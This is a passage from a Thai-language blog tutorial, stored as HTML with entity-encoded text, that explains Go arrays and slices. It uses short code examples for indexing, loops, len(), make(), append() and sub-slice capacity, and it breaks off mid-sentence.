&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22; &#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Type &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE02;&#xE49;&#xE21;&#xE07;&#xE27;&#xE14;&#xE43;&#xE19;&#xE02;&#xE13;&#xE30; Compile</p><p>Go &#xE1E;&#xE22;&#xE32;&#xE22;&#xE32;&#xE21;&#xE23;&#xE27;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE14;&#xE35;&#xE02;&#xE2D;&#xE07;&#xE17;&#xE31;&#xE49;&#xE07;&#xE20;&#xE32;&#xE29;&#xE32; Low-level &#xE41;&#xE25;&#xE30; High-level &#xE40;&#xE02;&#xE49;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE31;&#xE19; &#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19; Go &#xE16;&#xE39;&#xE01;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE21;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE07;&#xE48;&#xE32;&#xE22; &#xE2A;&#xE30;&#xE14;&#xE27;&#xE01;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; &#xE41;&#xE15;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE2A;&#xE39;&#xE07;</p><h3 id="array-%E0%B8%81%E0%B8%A5%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%A1%E0%B8%B5%E0%B8%8A%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%97%E0%B9%88%E0%B8%B2-%E0%B9%86-%E0%B8%81%E0%B8%B1%E0%B8%99-%E0%B8%88%E0%B8%B3%E0%B8%99%E0%B8%A7%E0%B8%99%E0%B9%81%E0%B8%99%E0%B9%88%E0%B8%99%E0%B8%AD%E0%B8%99"><em>Array : &#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE0A;&#xE48;&#xE2D;&#xE07;&#xE40;&#xE17;&#xE48;&#xE32; &#xE46; &#xE01;&#xE31;&#xE19; &#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE41;&#xE19;&#xE48;&#xE19;&#xE2D;&#xE19;</em></h3><p>Array &#xE40;&#xE1B;&#xE47;&#xE19;&#xE0A;&#xE38;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;<strong>&#xE02;&#xE19;&#xE32;&#xE14;&#xE04;&#xE07;&#xE17;&#xE35;&#xE48;</strong> &#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;<strong>&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;</strong> &#xE42;&#xE14;&#xE22;&#xE02;&#xE19;&#xE32;&#xE14;&#xE02;&#xE2D;&#xE07; Array &#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE15;&#xE2D;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28; &#xE41;&#xE25;&#xE30;&#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE44;&#xE14;&#xE49;</p><pre><code>var fruits [3]string // &#xE23;&#xE30;&#xE1A;&#xE38;&#xE02;&#xE19;&#xE32;&#xE14;&#xE15;&#xE2D;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;

fruits[0] = &quot;&#xE41;&#xE2D;&#xE1B;&#xE40;&#xE1B;&#xE34;&#xE49;&#xE25;&quot;
fruits[1] = &quot;&#xE01;&#xE25;&#xE49;&#xE27;&#xE22;&quot;
fruits[2] = &quot;&#xE2A;&#xE49;&#xE21;&quot;
fmt.Println(fruits)

numbers := [5]int{1, 2, 3, 4, 5}
fmt.Println(numbers)</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; Array &#xE44;&#xE14;&#xE49;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; &#xE40;&#xE0A;&#xE48;&#xE19;<br>1. &#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;&#xE14;&#xE49;&#xE27;&#xE22; index<br>2. &#xE01;&#xE32;&#xE23;&#xE27;&#xE19;&#xE25;&#xE39;&#xE1B;&#xE14;&#xE49;&#xE27;&#xE22; for &#xE41;&#xE1A;&#xE1A;&#xE21;&#xE32;&#xE15;&#xE23;&#xE10;&#xE32;&#xE19;<br>3. &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; range &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE27;&#xE19;&#xE25;&#xE39;&#xE1B;<br>4. &#xE01;&#xE32;&#xE23;&#xE2B;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE32;&#xE27;&#xE02;&#xE2D;&#xE07; Array &#xE14;&#xE49;&#xE27;&#xE22; len()<br>5. &#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE04;&#xE48;&#xE32;&#xE43;&#xE19; Array</p><pre><code>// &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; Array
    
// 1. &#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; index
fmt.Println(&quot;&#xE1C;&#xE25;&#xE44;&#xE21;&#xE49;&#xE0A;&#xE34;&#xE49;&#xE19;&#xE41;&#xE23;&#xE01;:&quot;, fruits[0])
fmt.Println(&quot;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02;&#xE15;&#xE31;&#xE27;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;:&quot;, numbers[2])

// 2. &#xE01;&#xE32;&#xE23;&#xE27;&#xE19;&#xE25;&#xE39;&#xE1B;&#xE1C;&#xE48;&#xE32;&#xE19; Array &#xE14;&#xE49;&#xE27;&#xE22; for &#xE41;&#xE1A;&#xE1A;&#xE21;&#xE32;&#xE15;&#xE23;&#xE10;&#xE32;&#xE19;
fmt.Println(&quot;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE1C;&#xE25;&#xE44;&#xE21;&#xE49;:&quot;)
for i := 0; i &lt; len(fruits); i++ {
	fmt.Printf(&quot;%d. %s\n&quot;, i+1, fruits[i])
}

// 3. &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; range
fmt.Println(&quot;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;:&quot;)
for index, value := range numbers {
	fmt.Printf(&quot;&#xE15;&#xE33;&#xE41;&#xE2B;&#xE19;&#xE48;&#xE07; %d: %d\n&quot;, index, value)
}

// 4. &#xE01;&#xE32;&#xE23;&#xE2B;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE32;&#xE27;&#xE02;&#xE2D;&#xE07; Array
fmt.Println(&quot;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE1C;&#xE25;&#xE44;&#xE21;&#xE49;:&quot;, len(fruits))
fmt.Println(&quot;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE02;:&quot;, len(numbers))

// 5. &#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE04;&#xE48;&#xE32;&#xE43;&#xE19; Array
fruits[1] = &quot;&#xE21;&#xE30;&#xE21;&#xE48;&#xE27;&#xE07;&quot;
fmt.Println(&quot;&#xE1C;&#xE25;&#xE44;&#xE21;&#xE49;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;:&quot;, fruits)</code></pre><p>Array &#xE43;&#xE19; Go &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE25;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07; Function</p><pre><code>// &#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28; array &#xE02;&#xE2D;&#xE07; function &#xE17;&#xE35;&#xE48;&#xE23;&#xE31;&#xE1A; int &#xE41;&#xE25;&#xE30;&#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32; int
var mathFuncs [3]func(int) int

// &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; function &#xE43;&#xE2B;&#xE49;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE15;&#xE33;&#xE41;&#xE2B;&#xE19;&#xE48;&#xE07;&#xE43;&#xE19; array
mathFuncs[0] = func(x int) int { return x + 1 } // &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21; 1
mathFuncs[1] = func(x int) int { return x * 2 } // &#xE04;&#xE39;&#xE13; 2
mathFuncs[2] = func(x int) int { return x * x } // &#xE22;&#xE01;&#xE01;&#xE33;&#xE25;&#xE31;&#xE07; 2

// &#xE17;&#xE14;&#xE25;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE35;&#xE22;&#xE01;&#xE43;&#xE0A;&#xE49; function &#xE08;&#xE32;&#xE01; array
for i, f := range mathFuncs {
	result := f(3)
	fmt.Printf(&quot;Function %d: result = %d\n&quot;, i, result)</code></pre><p>Array &#xE43;&#xE19; Go &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE1C;&#xE48;&#xE32;&#xE19; Function &#xE42;&#xE14;&#xE22;&#xE04;&#xE48;&#xE32; (<strong>By value</strong>) &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE04;&#xE31;&#xE14;&#xE25;&#xE2D;&#xE01;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; &#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48; Array &#xE43;&#xE19; C/C++ &#xE41;&#xE25;&#xE30; Java &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE49;&#xE32;&#xE07;&#xE2D;&#xE34;&#xE07; (By reference)</p><pre><code>func processArray(data [5]int) {
    // &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; data
}

func main() {
    a := [5]int{1, 2, 3, 4, 5}
    processArray(a)  // &#xE43;&#xE0A;&#xE49;&#xE44;&#xE14;&#xE49;
    // processArray(a[:3])  // &#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE44;&#xE14;&#xE49;
}</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE48;&#xE07; Array &#xE1C;&#xE48;&#xE32;&#xE19; Function <strong>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE04;&#xE27;&#xE32;&#xE21;&#xE41;&#xE19;&#xE48;&#xE19;&#xE2D;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE02;&#xE19;&#xE32;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;</strong> &#xE41;&#xE15;&#xE48;&#xE44;&#xE21;&#xE48;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE21;&#xE32;&#xE01;&#xE19;&#xE31;&#xE01;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07; Array &#xE41;&#xE04;&#xE48;&#xE1A;&#xE32;&#xE07;&#xE2A;&#xE48;&#xE27;&#xE19; &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE1A;&#xE19;</p><figure class="kg-card kg-code-card"><pre><code>Arrays
   - &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE02;&#xE19;&#xE32;&#xE14;&#xE15;&#xE32;&#xE22;&#xE15;&#xE31;&#xE27;
   var &#xE0A;&#xE37;&#xE48;&#xE2D; [&#xE02;&#xE19;&#xE32;&#xE14;]&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
   &#xE0A;&#xE37;&#xE48;&#xE2D; := [&#xE02;&#xE19;&#xE32;&#xE14;]&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;{&#xE04;&#xE48;&#xE32;1, &#xE04;&#xE48;&#xE32;2, ...}
   
   &#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;
   len(array)          // &#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE32;&#xE27;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;</code></pre><figcaption>Cheat Sheet!</figcaption></figure><h3 id="slice-%E0%B8%81%E0%B8%A5%E0%B9%88%E0%B8%AD%E0%B8%87%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%A2%E0%B8%B7%E0%B8%94%E0%B8%AB%E0%B8%94%E0%B9%84%E0%B8%94%E0%B9%89"><em>Slice : &#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE17;&#xE35;&#xE48;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE14;&#xE44;&#xE14;&#xE49;</em></h3><p>Slice &#xE04;&#xE37;&#xE2D; Array &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE19;&#xE32;&#xE14;&#xE44;&#xE14;&#xE49;&#xE41;&#xE1A;&#xE1A;&#xE44;&#xE14;&#xE19;&#xE32;&#xE21;&#xE34;&#xE01; &#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19; &#xE41;&#xE25;&#xE30;&#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE02;&#xE19;&#xE32;&#xE14;&#xE15;&#xE2D;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE28;</p><p>Slice &#xE02;&#xE2D;&#xE07; Go &#xE04;&#xE25;&#xE49;&#xE32;&#xE22;&#xE01;&#xE31;&#xE1A; List &#xE43;&#xE19; Python &#xE41;&#xE25;&#xE30; Array &#xE02;&#xE2D;&#xE07; JavaScrip &#xE43;&#xE19;&#xE41;&#xE07;&#xE48;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE19;&#xE32;&#xE14;&#xE44;&#xE14;&#xE49;</p><pre><code>colors := []string{&quot;&#xE41;&#xE14;&#xE07;&quot;, &quot;&#xE40;&#xE02;&#xE35;&#xE22;&#xE27;&quot;, &quot;&#xE19;&#xE49;&#xE33;&#xE40;&#xE07;&#xE34;&#xE19;&quot;}
fmt.Println(colors)

colors = append(colors, &quot;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;&#xE07;&quot;)
fmt.Println(colors)

subColors := colors[1:3]
fmt.Println(subColors)</code></pre><p>&#xE0A;&#xE37;&#xE48;&#xE2D; &quot;Slice&quot; &#xE2A;&#xE30;&#xE17;&#xE49;&#xE2D;&#xE19;&#xE16;&#xE36;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; &quot;<strong>&#xE15;&#xE31;&#xE14;&#xE41;&#xE1A;&#xE48;&#xE07;</strong>&quot; &#xE2B;&#xE23;&#xE37;&#xE2D; &quot;<strong>&#xE2B;&#xE22;&#xE34;&#xE1A;&#xE2A;&#xE48;&#xE27;&#xE19;</strong>&quot; &#xE02;&#xE2D;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE21;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;</p><pre><code>arr := [5]int{1, 2, 3, 4, 5}
slice1 := arr[1:4]  // &quot;&#xE15;&#xE31;&#xE14;&#xE41;&#xE1A;&#xE48;&#xE07;&quot; &#xE2A;&#xE48;&#xE27;&#xE19;&#xE02;&#xE2D;&#xE07; array: [2, 3, 4]
slice2 := slice1[1:] // &quot;&#xE15;&#xE31;&#xE14;&#xE41;&#xE1A;&#xE48;&#xE07;&quot; &#xE15;&#xE48;&#xE2D;&#xE08;&#xE32;&#xE01; slice: [3, 4]</code></pre><p>&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Slice &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE32;&#xE27; (Length) &#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE38; (Capacity) &#xE15;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; make()</p><pre><code>// &#xE43;&#xE0A;&#xE49; make() &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; slice
s1 := make([]int, 5, 10)
fmt.Println(&quot;s1:&quot;, s1)
fmt.Println(&quot;len(s1):&quot;, len(s1))
fmt.Println(&quot;cap(s1):&quot;, cap(s1))</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-27-at-12.26.22-PM.png" class="kg-image" alt loading="lazy" width="1822" height="132" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-27-at-12.26.22-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-27-at-12.26.22-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-27-at-12.26.22-PM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-27-at-12.26.22-PM.png 1822w" sizes="(min-width: 720px) 720px"></figure><p>&#xE08;&#xE32;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; Slice s1 &#xE16;&#xE39;&#xE01;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE04;&#xE48;&#xE32;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19; 0 &#xE17;&#xE35;&#xE48;&#xE1A;&#xE23;&#xE23;&#xE08;&#xE38;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE01;&#xE25;&#xE48;&#xE2D;&#xE07; 5 &#xE01;&#xE25;&#xE48;&#xE2D;&#xE07; &#xE41;&#xE15;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE15;&#xE23;&#xE35;&#xE22;&#xE21;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1C;&#xE37;&#xE48;&#xE2D;&#xE44;&#xE27;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1A;&#xE23;&#xE23;&#xE08;&#xE38;&#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; 10 &#xE01;&#xE25;&#xE48;&#xE2D;&#xE07; &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19; s1 &#xE08;&#xE36;&#xE07;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE43;&#xE2A;&#xE48;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE2D;&#xE35;&#xE01; 5 &#xE01;&#xE25;&#xE48;&#xE2D;&#xE07;</p><pre><code>// &#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE04;&#xE48;&#xE32;&#xE43;&#xE19; slice
s1[0] = 1
s1[1] = 2
s1[2] = 3
fmt.Println(&quot;\ns1 &#xE2B;&#xE25;&#xE31;&#xE07;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE04;&#xE48;&#xE32;:&quot;, s1)</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-27-at-2.24.55-PM.png" class="kg-image" alt loading="lazy" width="1746" height="52" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-27-at-2.24.55-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-27-at-2.24.55-PM.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/Screenshot-2024-07-27-at-2.24.55-PM.png 1600w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-27-at-2.24.55-PM.png 1746w" sizes="(min-width: 720px) 720px"></figure><pre><code>// &#xE43;&#xE0A;&#xE49; append() &#xE40;&#xE1E;&#xE34;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;
s1 = append(s1, 4, 5, 6)
fmt.Println(&quot;\ns1 &#xE2B;&#xE25;&#xE31;&#xE07; append:&quot;, s1)
fmt.Println(&quot;len(s1) &#xE43;&#xE2B;&#xE21;&#xE48;:&quot;, len(s1))
fmt.Println(&quot;cap(s1) &#xE43;&#xE2B;&#xE21;&#xE48;:&quot;, cap(s1))</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-27-at-12.55.54-PM.png" class="kg-image" alt loading="lazy" width="1510" height="144" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-27-at-12.55.54-PM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-27-at-12.55.54-PM.png 1000w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-27-at-12.55.54-PM.png 1510w" sizes="(min-width: 720px) 720px"></figure><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Slice s2 &#xE43;&#xE2B;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19; Sub-slice &#xE02;&#xE2D;&#xE07; Slice s1 &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE49;&#xE32;&#xE19;&#xE25;&#xE48;&#xE32;&#xE07; s2 &#xE08;&#xE30;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE32;&#xE27; 3 &#xE42;&#xE14;&#xE22;&#xE19;&#xE31;&#xE1A;&#xE08;&#xE32;&#xE01; 2 &#xE16;&#xE36;&#xE07; 4 (&#xE44;&#xE21;&#xE48;&#xE23;&#xE27;&#xE21; 5)</p><p>&#xE41;&#xE15;&#xE48; Capacity &#xE02;&#xE2D;&#xE07; Slice s2 &#xE08;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE19;&#xE31;&#xE1A;&#xE08;&#xE32;&#xE01;&#xE08;&#xE38;&#xE14;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE02;&#xE2D;&#xE07; Sub-slice &#xE44;&#xE1B;&#xE08;&#xE19;&#xE16;&#xE36;&#xE07;&#xE2A;&#xE34;&#xE49;&#xE19;&#xE2A;&#xE38;&#xE14;&#xE02;&#xE2D;&#xE07; Capacity &#xE02;&#xE2D;&#xE07; Slice s1</p><p>&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19; Sub-slice s2 (<strong>&#xE17;&#xE31;&#xE49;&#xE07;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE04;&#xE48;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07;&#xE14;&#xE49;&#xE27;&#xE22; Index &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; append</strong>) &#xE2D;&#xE32;&#xE08;&#xE2A;&#xE48;&#xE07;&#xE1C;&#xE25;&#xE15;&#xE48;&#xE2D; Slice &#xE15;&#xE49;&#xE19;&#xE09;&#xE1A;&#xE31;&#xE1A;&#xE44;&#xE14;&#xE49; &#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01; s2 